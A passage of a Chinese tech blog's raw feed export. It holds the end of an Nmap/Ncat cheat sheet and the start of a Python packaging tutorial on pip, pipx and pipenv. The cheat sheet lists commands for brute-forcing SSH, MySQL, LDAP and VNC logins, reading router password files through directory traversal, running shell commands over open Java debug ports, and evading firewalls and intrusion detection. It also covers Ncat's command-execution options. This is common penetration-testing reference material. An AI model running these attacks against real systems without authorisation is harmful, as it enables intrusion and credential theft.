class_">Web</span>应用程序和设备使用的默认凭据测试访问。</span><br><span class="line">nmap -p80 --script http-<span class="keyword">default</span>-accounts host/ip</span><br><span class="line"></span><br><span class="line">通过将<span class="title class_">User</span>-<span class="title class_">Agent</span>更改为“secret”值来检测某些D-<span class="title class_">Link</span>路由器上的固件后门。使用“秘密”<span class="title class_">User</span>-<span class="title class_">Agent</span>绕过身份验证,并允许管理员访问路由器。</span><br><span class="line">nmap -sV --script http-dlink-backdoor <target></span><br><span class="line"></span><br><span class="line">枚举流行的<span class="title class_">Web</span>应用程序和服务器使用的目录。</span><br><span class="line">nmap -sV --script=http-enum <target></span><br><span class="line"></span><br><span class="line">利用<span class="title class_">Web</span>应用程序中不安全的文件上传表单,使用各种技术,如更改<span class="title class_">Content</span>-type头或创建包含注释中有效负载的有效图像文件。</span><br><span class="line">nmap -p80 --script http-fileupload-exploiter.<span class="property">nse</span> <target></span><br><span class="line"></span><br><span class="line">对基于http表单的身份验证执行强力密码审核。</span><br><span class="line">nmap --script http-form-brute -p <span class="number">80</span> <host></span><br><span class="line"></span><br><span class="line">尝试通过执行<span class="variable constant_">HTTP</span>谓词篡改绕过密码保护的资源(<span class="variable constant_">HTTP</span> <span class="number">401</span>状态)。如果未设置要检查的路径数组,它将爬网<span class="title class_">Web</span>服务器,并对找到的任何受密码保护的资源执行检查。</span><br><span class="line">nmap -sV --script http-method-tamper <target></span><br><span class="line">nmap -p80 --script http-method-tamper --script-args <span class="string">'http-method-tamper.paths={/protected/db.php,/protected/index.php}'</span> <target></span><br><span class="line"></span><br><span class="line">通过尝试检索 /etc/passwd 或 \boot.<span class="property">ini</span> 来检查<span class="title class_">Web</span>服务器是否容易受到目录遍历的攻击。</span><br><span class="line">nmap --script http-passwd --script-args http-passwd.<span class="property">root</span>=<span class="regexp">/test/</span> <target></span><br><span class="line"></span><br><span class="line">在<span class="variable constant_">HTTP</span>服务器上搜索包含易受<span class="variable constant_">SQL</span>注入攻击的查询的<span class="variable constant_">URL</span>。它还从找到的网站中提取表单,并试图识别易受攻击的字段。</span><br><span class="line">nmap -sV --script=http-sql-injection <target></span><br><span class="line"></span><br><span class="line">利用多个<span class="variable constant_">TP</span>-<span class="title class_">Link</span>无线路由器中存在的目录遍历漏洞进行攻击。攻击者可以利用此漏洞远程读取任何配置和密码文件,而无需进行身份验证。</span><br><span class="line">nmap -p80 --script http-tplink-dir-traversal.<span class="property">nse</span> <target></span><br><span class="line">nmap -p80 -<span class="title class_">Pn</span> -n --script http-tplink-dir-traversal.<span class="property">nse</span> <target></span><br><span class="line">nmap -p80 --script http-tplink-dir-traversal.<span class="property">nse</span> --script-args rfile=<span class="regexp">/etc/</span>topology.<span class="property">conf</span> -d -n -<span class="title class_">Pn</span> <target></span><br><span class="line"></span><br><span class="line">尝试检测<span class="title class_">Wordpress</span> <span class="number">4.7</span><span class="number">.0</span>和<span class="number">4.7</span><span class="number">.1</span>中的权限提升漏洞,该漏洞允许未经身份验证的用户在帖子中注入内容。</span><br><span class="line">nmap --script http-vuln-cve2017-<span class="number">1001000</span> --script-args http-vuln-cve2017-<span class="number">1001000</span>=<span class="string">"uri"</span> <target></span><br><span class="line">nmap --script http-vuln-cve2017-<span class="number">1001000</span> <target></span><br><span class="line"></span><br><span class="line">检测指定的<span class="variable constant_">URL</span>是否容易受到<span class="title class_">Apache</span> <span class="title class_">Struts</span>远程代码执行漏洞(<span class="variable constant_">CVE</span>-<span class="number">2017</span>-<span class="number">5638</span>)的攻击。</span><br><span class="line">nmap -p <port> --script http-vuln-cve2017-<span class="number">5638</span> <target></span><br><span class="line"></span><br><span class="line">检测采用英特尔主动管理技术的系统是否容易受到<span class="variable constant_">INTEL</span>-<span class="variable constant_">SA</span>-<span class="number">00075</span>权限提升漏洞(<span class="variable constant_">CVE</span> <span class="number">2017</span> -<span class="number">5689</span>)的攻击。</span><br><span class="line">nmap -p <span class="number">16992</span> --script http-vuln-cve2017-<span class="number">5689</span> <target></span><br><span class="line"></span><br><span class="line">通过使用恶意负载探测<span class="title class_">Web</span>服务器并检测响应代码和正文中的更改,尝试确定<span class="title class_">Web</span>服务器是否受<span class="variable constant_">IPS</span>(入侵防御系统)、<span class="variable constant_">IDS</span>(入侵检测系统)或<span class="variable constant_">WAF</span>(<span class="title class_">Web</span>应用程序防火墙)保护。</span><br><span class="line">nmap -p80 --script http-waf-detect <host></span><br><span class="line">nmap -p80 --script http-waf-detect --script-args=<span class="string">"http-waf-detect.aggro,http-waf-detect.uri=/testphp.vulnweb.com/artists.php"</span> www.<span class="property">modsecurity</span>.<span class="property">org</span></span><br><span class="line"></span><br><span class="line">尝试检测<span class="title class_">Web</span>应用程序防火墙的存在及其类型和版本。</span><br><span class="line">nmap --script=http-waf-fingerprint <targets></span><br><span class="line">nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.<span class="property">intensive</span>=<span class="number">1</span> <targets></span><br><span class="line"></span><br><span class="line">试图利用java的远程调试端口。当远程调试端口保持打开状态时,可以注入java字节码,实现远程代码执行。这个脚本滥用这个特性来注入和执行一个<span class="title class_">Java</span>类文件,这个文件执行提供的shell命令并返回它的输出。</span><br><span class="line">nmap -sT <target> -p <port> --script=+jdwp-exec --script-args cmd=<span class="string">"date"</span></span><br><span class="line"></span><br><span class="line">试图利用java的远程调试端口。当远程调试端口保持打开状态时,可以注入java字节码,实现远程代码执行。这个脚本注入并执行一个返回远程系统信息的<span class="title class_">Java</span>类文件。</span><br><span class="line">nmap -sT <target> -p <port> --script=+jdwp-info</span><br><span class="line"></span><br><span class="line">试图利用java的远程调试端口。当远程调试端口保持打开状态时,可以注入java字节码,实现远程代码执行。此脚本允许注入任意类文件。</span><br><span class="line">nmap -sT <target> -p <port> --script=+jdwp-inject --script-args filename=<span class="title class_">HelloWorld</span>.<span class="property">class</span></span><br><span class="line"></span><br><span class="line">尝试强制<span class="variable constant_">LDAP</span>身份验证。默认情况下,它使用内置的用户名和密码列表。为了使用您自己的列表,请使用 userdb 和 passdb 脚本参数。</span><br><span class="line">nmap -p <span class="number">389</span> --script ldap-brute --script-args ldap.<span class="property">base</span>=<span class="string">'"cn=users,dc=cqure,dc=net"'</span> <host></span><br><span class="line"></span><br><span class="line">对<span class="title class_">MySQL</span>执行密码猜测。</span><br><span class="line">nmap --script=mysql-brute <target></span><br><span class="line"></span><br><span class="line">尝试列出<span class="title class_">MySQL</span>服务器上的所有数据库。</span><br><span class="line">nmap -sV --script=mysql-databases <target></span><br><span class="line"></span><br><span class="line">尝试列出<span class="title class_">MySQL</span>服务器上的所有用户。</span><br><span class="line">nmap -sV --script=mysql-users <target></span><br><span class="line"></span><br><span class="line">检测易受远程代码执行漏洞(称为<span class="variable constant_">MS</span> <span class="number">08</span> -<span class="number">067</span>)攻击的<span class="title class_">Microsoft</span> <span class="title class_">Windows</span>系统。这种检查是危险的,它可能会使系统崩溃。</span><br><span class="line">nmap --script smb-vuln-ms08-<span class="number">067</span>.<span class="property">nse</span> -p445 <host></span><br><span class="line">nmap -sU --script smb-vuln-ms08-<span class="number">067</span>.<span class="property">nse</span> -p <span class="attr">U</span>:<span class="number">137</span> <host></span><br><span class="line"></span><br><span class="line">尝试检测<span class="title class_">Microsoft</span> <span class="title class_">SMBv</span> <span class="number">1</span>服务器是否易受远程代码执行漏洞(ms <span class="number">17</span> -<span class="number">010</span>,即<span class="title class_">EternalBlue</span>)。该漏洞被<span class="title class_">WannaCry</span>和<span class="title class_">Petya</span>勒索软件以及其他恶意软件积极利用。</span><br><span class="line">nmap -p445 --script smb-vuln-ms17-<span class="number">010</span> <target></span><br><span class="line">nmap -p445 --script vuln <target></span><br><span class="line"></span><br><span class="line">对ssh服务器执行暴力密码猜测。</span><br><span class="line">nmap -p <span class="number">22</span> --script ssh-brute --script-args userdb=users.<span class="property">lst</span>,passdb=pass.<span class="property">lst</span> \</span><br><span class="line"> --script-args ssh-brute.<span class="property">timeout</span>=4s <target></span><br><span class="line"></span><br><span class="line">对<span class="variable constant_">VNC</span>服务器执行强力密码审核。</span><br><span class="line">nmap --script vnc-brute -p <span class="number">5900</span> <host></span><br><span class="line"></span><br><span class="line">漏洞扫描</span><br><span class="line">nmap -sV --script vulners [--script-args mincvss=<arg_val>] <target>**</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="防火墙-x2F-入侵检测-绕过"><a href="#防火墙-x2F-入侵检测-绕过" class="headerlink" title="防火墙/入侵检测 绕过"></a><strong>防火墙/入侵检测 绕过</strong></h2><ul>
<li><strong><code>nmap -sS -T4</code> 使用-sS 识别被拦截的端口</strong></li>
<li><strong><code>nmap -sF</code> 使用fin扫描</strong></li>
<li><strong>使用 -6 ipv6扫描</strong></li>
<li><strong>TCP FTP反弹扫描( <code>-b</code> )</strong></li>
<li><strong><code>--scan-delay 1075ms</code> 指定延长扫描时间绕过检测</strong></li>
<li><code>**nmap -p 80,443 --script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -A <domain></code> 修改默认ua头**</li>
</ul>
<h1 id="NCAT-🥺"><a href="#NCAT-🥺" class="headerlink" title="NCAT 🥺"></a><strong>NCAT 🥺</strong></h1><h2 id="使用技巧"><a href="#使用技巧" class="headerlink" title="使用技巧"></a><strong>使用技巧</strong></h2><ul>
<li><strong>-p 指定源端口</strong></li>
<li><strong>-s 指定绑定源地址</strong></li>
<li><strong>-l 监听</strong></li>
<li><strong>-m 最大连接数,默认100,windows默认60</strong></li>
<li><strong>-k 通常,侦听服务器只接受一个连接,然后在连接关闭时退出。此选项使其接受多个同时连接,并在所有连接关闭后等待更多连接。</strong></li>
<li><code>**--broker</code> (连接代理) 允许多方连接到集中的Ncat服务器并相互通信。Ncat可以代理位于NAT之后或无法直接连接的系统之间的通信。此选项与 <code>--listen</code> 一起使用,这会使 <code>--listen</code> 端口启用代理模式。**</li>
<li><code>**--chat</code> (临时“聊天服务器”)**</li>
<li><code>**-e *<command>*</code> 、 <code>--exec *<command>*</code> (执行命令)建立连接后执行指定的命令。命令必须指定为完整路径名。**</li>
<li><code>**-c *<command>*</code> 、 <code>--sh-exec *<command>*</code> (通过sh执行命令)**</li>
<li><code>**--allow</code> ip1 ,ip2 指定的主机列表将是唯一允许连接到Ncat进程的主机。所有其他连接尝试都将被断开。如果 <code>--allow</code> 和 <code>--deny</code> 之间存在冲突,则优先使用 <code>--allow</code> 。主机规范遵循Nmap使用的相同语法。**</li>
<li><code>**--allowfile</code> 这与 <code>--allow</code> 具有相同的功能,除了允许的主机是在一个新行分隔的允许文件中提供的,而不是直接在命令行上提供的。**</li>
<li><code>**--deny</code> <code>--denyfile</code> 拒绝连接,同上**</li>
<li><code>**-i *<time>*</code> 、 <code>--idle-timeout *<time>*</code> (指定空闲超时),为空闲连接设置固定超时。如果达到空闲超时,则连接终止。可用于传文件,传输完成后指定延时退出**</li>
</ul>
<h1 id="参考文章-💣"><a href="#参考文章-💣" class="headerlink" title="参考文章 💣"></a><strong>参考文章 💣</strong></h1><ul>
<li><a href="https://nmap.org/book/toc.html">**https://nmap.org/book/toc.html</a> nmap官方book**</li>
<li><strong>man手册</strong></li>
</ul>
</div></div></div>
<div class="note red icon-padding modern"><i class="note-icon fas fa-fan"></i><p>啊,再见了,再见了,哈</p>
</div>
<div class="note orange icon-padding modern"><i class="note-icon fas fa-battery-half"></i><p>我们会再见的对么</p>
</div>
<div class="note blue icon-padding modern"><i class="note-icon fas fa-bullhorn"></i><p>再见你要幸福</p>
</div>
<div class="note purple icon-padding modern"><i class="note-icon far fa-hand-scissors"></i><p>燕子,燕子</p>
</div>
]]></content>
<categories>
<category>tool</category>
<category>Nmap</category>
</categories>
<tags>
<tag>Tools</tag>
<tag>Nmap</tag>
</tags>
</entry>
<entry>
<title>Python 项目管理</title>
<url>/2024/02/20/Python-%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86/</url>
<content><![CDATA[<div class="note red icon-padding modern"><i class="note-icon fas fa-fan"></i><p>奇奇怪怪</p>
</div>
<div class="note orange icon-padding modern"><i class="note-icon fas fa-battery-half"></i><p>安全小技巧</p>
</div>
<div class="note blue icon-padding modern"><i class="note-icon fas fa-bullhorn"></i><p>新的一天开始了</p>
</div>
<div class="note purple icon-padding modern"><i class="note-icon far fa-hand-scissors"></i><p>剪刀石头布,哈,我又赢了 </p>
</div>
<div class="timeline green"><div class='timeline-item headline'><div class='timeline-item-title'><div class='item-circle'><p>2024</p>
</div></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>02-20</p>
</div></div><div class='timeline-item-content'><hr>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><aside>
🔫 在学习使用 python 的过程中,会遇到诸如创建、使用、部署、测试 python 项目,不可避免的会遇到各种环境,依赖,版本兼容等等各种问题,本文章围绕这些主题,介绍当下主流的几种解决方案。
<p>本文章的目的旨在帮助大家更好的学习关于 python 项目环境管理的相关主题知识。相信看完这篇文章后,大家对 python 的项目管理方式,各种环境配置,依赖解决,版本控制等等问题都能够手到擒来。能够清晰的找到问题的解决方案。文章较长,耐心观看。</p>
</aside>
<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><aside>
🔫 Python 项目管理是什么,关于本文章在此提到的 Python 项目管理指的是在使用 Python 过程中,对于 Python 的测试环境、项目文件、目录结构、版本控制、虚拟环境物理环境、依赖包管理等等的问题解决方案的集合。本文章会通过当下主流的相关工具进行论述,涉及到官方工具以及开源社区的工具。
<p>当涉及到 Python 项目管理时,有许多工具可供选择,如 pip、pipx、conda、pipenv、poetry 和 rye 等。这些工具都有各自的特点和优势,可以帮助测试人员以及开发者更好地组织、部署和维护Python项目。本文章会逐个介绍这几款工具的特点、功能,以及使用方式,使用场景。可根据自己的工作流,习惯,选择合适的产品使用。</p>
</aside>
<h2 id="依赖包"><a href="#依赖包" class="headerlink" title="依赖包"></a>依赖包</h2><blockquote>
<p>Python的依赖包是指在Python生态系统中,开发者可以通过软件仓库来获取和安装的第三方模块或库。这些依赖包是由Python社区的开发者们开发和维护的,用于扩展Python的功能和提供各种功能和工具。在一个使用python开发的项目中,需要先安装相关依赖包才可以运行。</p>
</blockquote>
<h2 id="项目文件"><a href="#项目文件" class="headerlink" title="项目文件"></a>项目文件</h2><blockquote>
<p>在一个 python 项目中,可能会存在着,<code>requirements.txt</code>,<code>setup.py</code>,<code>Pipfile</code> 和 <code>Pipfile.lock</code>,**<code>poetry.lock</code>** 等等文件,这些都是定义当前项目所需要的依赖包的相关文件,用于确定当前项目运行、测试等等所需要的依赖包</p>
</blockquote>
<h2 id="requirements-txt"><a href="#requirements-txt" class="headerlink" title="requirements.txt"></a><strong>requirements.txt</strong></h2><blockquote>
<p><code>requirements.txt</code>是一个在python项目中常见的文本文件,用于列出项目所依赖的具体Python库及其版本号。</p>
</blockquote>
<p>例如:</p>
<blockquote>
</blockquote>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">SomeProject</span><br><span class="line">SomeProject == <span class="number">1.3</span></span><br><span class="line">SomeProject >= <span class="number">1.2</span>, < <span class="number">2.0</span></span><br><span class="line">SomeProject[foo, bar]</span><br><span class="line">SomeProject ~= <span class="number">1.4</span><span class="number">.2</span></span><br><span class="line">SomeProject == <span class="number">5.4</span> ; python_version < <span class="string">'3.8'</span></span><br><span class="line">SomeProject ; sys_platform == <span class="string">'win32'</span></span><br><span class="line">requests [security] >= <span class="number">2.8</span><span class="number">.1</span>, == <span class="number">2.8</span>.* ; python_version < <span class="string">"2.7"</span></span><br></pre></td></tr></table></figure>
<h2 id="虚拟环境"><a href="#虚拟环境" class="headerlink" title="虚拟环境"></a>虚拟环境</h2><blockquote>
<p>Python 虚拟环境是一种用于隔离Python项目的方式,创建一个独立的Python环境,使得每个项目都可以拥有自己的依赖库和运行环境、程序版本,而不会相互干扰。从而不会导致多个项目之间因为依赖版本问题导致运行错误等等。所以在使用python时,可以为每个项目设置一个虚拟环境。物理环境则相反。</p>
</blockquote>
<hr>
<h1 id="Pip"><a href="#Pip" class="headerlink" title="Pip"></a>Pip</h1><aside>
🔫 pip 是 Python 的包安装程序。可以使用 pip 从 Python 包索引和其他索引安装包。
<p>项目地址:<a href="https://github.com/pypa/pip">https://github.com/pypa/pip</a></p>
</aside>
<h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a><strong>安装</strong></h2><ul>
<li>安装 <code>python</code> 后也包含了 <code>pip</code>。关于 python 的安装方法</li>
<li>windows:使用系统上的微软商店安装,搜索python,选择版本,点击安装,会自动配置好环境变量等环境。也可使用包管理器安装</li>
<li>linux:使用包管理器安装</li>
<li>mac:使用包管理器安装</li>
</ul>
<aside>
🔫 `python --version` 检测python版本信息
`python -m pip --version` 检测pip版本信息
<p>如果执行成功表明安装成功,某些情况可能安装后会没有 pip 命令,使用python执行以下命令进行安装pip 。 <code>python -m ensurepip --upgrade</code> .</p>
<p>或者直接从系统软件仓库安装pip。如 arch linux 系统下使用 <code>yay -S python-pip</code></p>
</aside>
<h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><ul>
<li><strong>升级</strong> <code>python -m pip install --upgrade pip</code></li>
<li><strong>安装软件包</strong></li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">python -m pip install SomePackage </span><br><span class="line">python -m pip install SomePackage==<span class="number">1.0</span><span class="number">.4</span> </span><br><span class="line">python -m pip install <span class="string">'SomePackage>=1.0.4'</span> </span><br><span class="line"></span><br><span class="line">**项目文件中存在 requirements.txt 文件,以下命令安装该项目声明的所有依赖</span><br><span class="line">python -m pip install -r requirements.txt</span><br><span class="line"></span><br><span class="line">使用freeze命令根据当前文件夹生成requirements.txt</span><br><span class="line">python -m pip freeze > requirements.txt**</span><br><span class="line"></span><br><span class="line">指定包升级</span><br><span class="line">python -m pip install --upgrade PackageName</span><br><span class="line"></span><br><span class="line">升级所有</span><br><span class="line">python -m pip install --upgrade </span><br><span class="line"></span><br><span class="line">在“可编辑”模式下安装本地项目。方便本地调试修改包测试</span><br><span class="line">python -m pip install -e . # 本地目录安装包</span><br><span class="line">python -m pip install -e path/to/project # 指定目录安装包</span><br><span class="line"></span><br><span class="line">指定软件仓库镜像地址安装包</span><br><span class="line">python -m pip install --index-url http:<span class="comment">//my.package.repo/simple/ PackageName</span></span><br><span class="line"></span><br><span class="line">要列出已安装的软件包:</span><br><span class="line">python -m pip <span class="built_in">list</span></span><br><span class="line"></span><br><span class="line">要显示有关已安装软件包的详细信息,请执行以下操作:</span><br><span class="line">python -m pip show sphinx</span><br><span class="line"></span><br><span class="line">用户安装,将包安装到用户特定的目录,实现与全局包隔离不冲突</span><br><span class="line">python -m pip install --user SomePackage</span><br></pre></td></tr></table></figure>
<ul>
<li><strong>卸载软件包</strong></li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">卸载指定软件包</span><br><span class="line">python -m pip uninstall simplejson </span><br><span class="line"></span><br><span class="line">卸载requirements.txt 文件中列出的软件包</span><br><span class="line">python -m pip uninstall -r requirements.txt </span><br></pre></td></tr></table></figure>
<ul>
<li><strong>常用功能</strong></li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">python -m pip <span class="built_in">list</span> 列出所有</span><br><span class="line"></span><br><span class="line">显示有关一个或多个已安装软件包的信息。</span><br><span class="line">python -m pip show sphinx</span><br><span class="line"></span><br><span class="line">生成需求文件</span><br><span class="line">python -m pip freeze > requirements.txt</span><br><span class="line"></span><br><span class="line">根据需求(及其所有依赖项)构建python包,然后安装</span><br><span class="line">python -m pip wheel --wheel-dir=/tmp/wheelhouse SomePackage</span><br><span class="line">python -m pip install --no-index --find-links=/tmp/wheelhouse SomePackage</span><br></pre></td></tr></table></figure>
<ul>
<li><strong>配置</strong></li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">配置默认pypi镜像地址,解决可能会存在的网络问题</span><br><span class="line">pip config <span class="built_in">set</span> global.index-url https:<span class="comment">//pypi.tuna.tsinghua.edu.cn/simple</span></span><br></pre></td></tr></table></figure>
<blockquote>
<p><strong>总结</strong></p>
</blockquote>
<p>pip 是 python 默认的包管理器,使用广泛,但是在python的完整工作流中,功能单一不全,无环境隔离等功能,适合临时使用。</p>
<blockquote>
</blockquote>
<hr>
<h1 id="Pipx"><a href="#Pipx" class="headerlink" title="Pipx"></a>Pipx</h1><aside>
🔫 在隔离环境中安装和运行 Python 应用程序,该工具会直接把软件仓库的python包安装到隔离环境中。
<p>pip 是适用于库和应用程序的通用包安装程序,没有环境隔离。Pipx 是专门为应用程序安装而设计的,因为它增加了隔离性,但仍使应用程序在 shell 中可用:Pipx 为每个应用程序及其关联的包创建一个隔离的环境。</p>
<p>项目地址:<a href="https://github.com/pypa/pipx">https://github.com/pypa/pipx</a></p>
</aside>
<h2 id="安装-pipx"><a href="#安装-pipx" class="headerlink" title="安装 pipx"></a><strong>安装 pipx</strong></h2><ul>
<li>使用pip安装pipx,<code>pip install --user pipx</code></li>
<li>添加环境变量保证可以直接运行 <code>python -m pipx ensurepath</code></li>
</ul>
<blockquote>
<p><strong>升级 pipx</strong></p>
</blockquote>
<ul>
<li><code>python3 -m pip install --user -U pipx</code> || -U 就是 - -upgrade</li>
</ul>
<h2 id="使用-1"><a href="#使用-1" class="headerlink" title="使用"></a><strong>使用</strong></h2><ul>
<li>使用 pipx 安装python包</li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">pipx install PACKAGE 安装指定包</span><br><span class="line"></span><br><span class="line">pipx reinstall-all 重新安装已经安装的所有包</span><br></pre></td></tr></table></figure>
<ul>
<li>或者,您可以在不安装程序的情况下运行它:</li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">pipx run pycowsay moooo!</span><br><span class="line"></span><br><span class="line">可以运行本地文件,以及远程仓库软件包</span><br></pre></td></tr></table></figure>
<ul>
<li>列出安装的包</li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">pipx <span class="built_in">list</span></span><br></pre></td></tr></table></figure>
<ul>
<li>更新包</li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">pipx upgrade package 更新指定包</span><br><span class="line">pipx upgrade-all 更新所有包</span><br></pre></td></tr></table></figure>
<ul>
<li>删除包</li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">pipx uninstall package 删除指定包</span><br><span class="line">pipx uninstall-all 删除所有包</span><br></pre></td></tr></table></figure>
<ul>
<li>pipx runpip</li>
</ul>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">从虚拟环境中运行pip命令</span><br></pre></td></tr></table></figure>
<blockquote>
<p><strong>总结</strong></p>
</blockquote>
<p>pipx 仅用于应用程序使用:您可以使用它安装 CLI 应用程序。所以使用场景仅仅是用它来安装使用一些python应用程序,pipx会自动隔离它们。并不作为项目环境,依赖管理,版本控制等使用场景。</p>
<blockquote>
</blockquote>
<hr>
<h1 id="Pipenv"><a href="#Pipenv" class="headerlink" title="Pipenv"></a>Pipenv</h1><aside>
💩 Pipenv 是一个 Python virtualenv 管理工具,它支持多种系统,并很好地整合了 pip、python(使用系统 python、pyenv,或 asdf)和 virtualenv 。
<p>Pipenv 会自动为您的项目创建和管理虚拟环境,并在您安装/卸载软件包 <code>Pipfile</code> 时添加/删除软件包。它还生成一个项目 <code>Pipfile.lock</code> ,用于确定包。</p>
<p>项目地址:<a href="https://github.com/pypa/pipenv">https://github.com/pypa/pipenv</a><br>官方文档:<a href="https://pipenv.pypa.io/en/latest/">https://pipenv.pypa.io/en/latest/</a></p>
</aside>
<blockquote>
<p>功能特点</p>
</blockquote>
<ul>
<li>您不再需要单独使用 <code>pip</code> 和 <code>virtualenv</code> :它们协同工作。</li>
<li>管理虚拟环境以及依赖包</li>